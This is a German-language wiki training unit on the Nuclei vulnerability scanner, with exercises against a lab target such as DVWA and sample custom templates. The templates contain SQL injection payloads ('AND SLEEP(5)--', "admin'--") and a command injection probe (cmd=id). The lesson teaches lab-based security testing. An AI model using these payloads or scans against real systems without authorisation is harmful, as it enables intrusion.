Nuclei-1
Version vom 12. Mai 2025, 16:24 Uhr von Thomas.will (Diskussion | Beiträge)
Schulungseinheit: Schwachstellenscans mit Nuclei
Thema
- Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates
Ziel
- Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
- Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
- Sie lernen, eigene Templates für spezifische Lücken zu erstellen
Vorbereiten: Einstieg & Motivation
- Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
- Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
- CVEs
- OWASP Top 10
- Fehlkonfigurationen
- Technologieerkennung
- Header- oder Cookie-Manipulation
- Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
- Einfache Integration in CI/CD, eigene Tools und Laborszenarien
Vormachen/Erklären: Grundlagen & Aufbau
Installation
- Installiere die jeweils aktuelle Version von Nuclei über Go:
apt install -y golang go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest export PATH=$PATH:$(go env GOPATH)/bin nuclei -version
Templates aktualisieren
nuclei -update-templates
Grundstruktur eines Befehls
nuclei -u <ziel> -t <template> -severity <level>
Wichtige Optionen
- -u: Einzelnes Ziel (z.B. -u https://ziel.local)
- -l: Liste von Zielen (targets.txt)
- -t: Template oder Verzeichnis (z.B. cves/, exposures/)
- -severity: Filter nach Schweregrad
- -rate-limit: Requests pro Sekunde
- -timeout / -retries: Scan-Zuverlässigkeit
- -proxy: z.B. für Burp-Suite
- -json / -o: Berichte
Beispielhafter Scan
nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50
Templates anzeigen
nuclei -tl
Ergebnis speichern
nuclei -u https://ziel.local -o ergebnisse.json -json
Nachmachen/Üben: Aufgaben am Zielsystem
Voraussetzungen
- Angreifer: Kali-Linux mit Nuclei
- Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
- Datei mit Ziel-IP:
echo "http://10.0.10.104" > targets.txt
Aufgabe 1
- Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
nuclei -l targets.txt -severity high,critical
Aufgabe 2
- Suche gezielt nach SQL-Injection-Lücken:
nuclei -l targets.txt -tags sqli
Aufgabe 3
- Unterscheide klassische SQLi von Blind SQLi:
nuclei -l targets.txt -tags sqli-blind
Aufgabe 4
- Finde eine funktionierende Command Injection:
nuclei -l targets.txt -tags cmd-injection
Aufgabe 5
- Scanne mit Proxy (z. B. Burp):
nuclei -l targets.txt -proxy http://127.0.0.1:8080
Aufgabe 6
- Erzeuge einen JSON-Report:
nuclei -l targets.txt -o report.json -json
Selbstständige Anwendung: Eigene Templates
Ziel
Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle
Beispiel 1: Blind SQL Injection
id: custom-blind-sqli info:
name: Blind SQLi Test (Sleep Delay) severity: high tags: sqli,blind
requests:
- method: GET
path:
- "Vorlage:BaseURL/vuln.php?id=1' AND SLEEP(5)--"
matchers:
- type: dsl
dsl:
- duration>=5
- Ausführen:
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104
Beispiel 2: Command Injection
id: custom-cmd-injection info:
name: CMD Injection (id) severity: critical tags: cmd-injection
requests:
- method: GET
path:
- "Vorlage:BaseURL/cmd.php?cmd=id"
matchers:
- type: word
words:
- "uid="
Beispiel 3: POST-basierte SQL Injection
id: custom-post-sqli info:
name: POST SQL Injection severity: high tags: sqli,post
requests:
- method: POST
path:
- "Vorlage:BaseURL/login.php"
body: "user=admin'--&pass=test"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "Welcome"
Hinweise zur Nachbereitung
- Ergebnisse besprechen, kritisch hinterfragen
- Unterschiede zwischen False Positives und echten Lücken erkennen
- Sicherer Umgang mit Schwachstellen-Informationen
- Vorschläge zur Behebung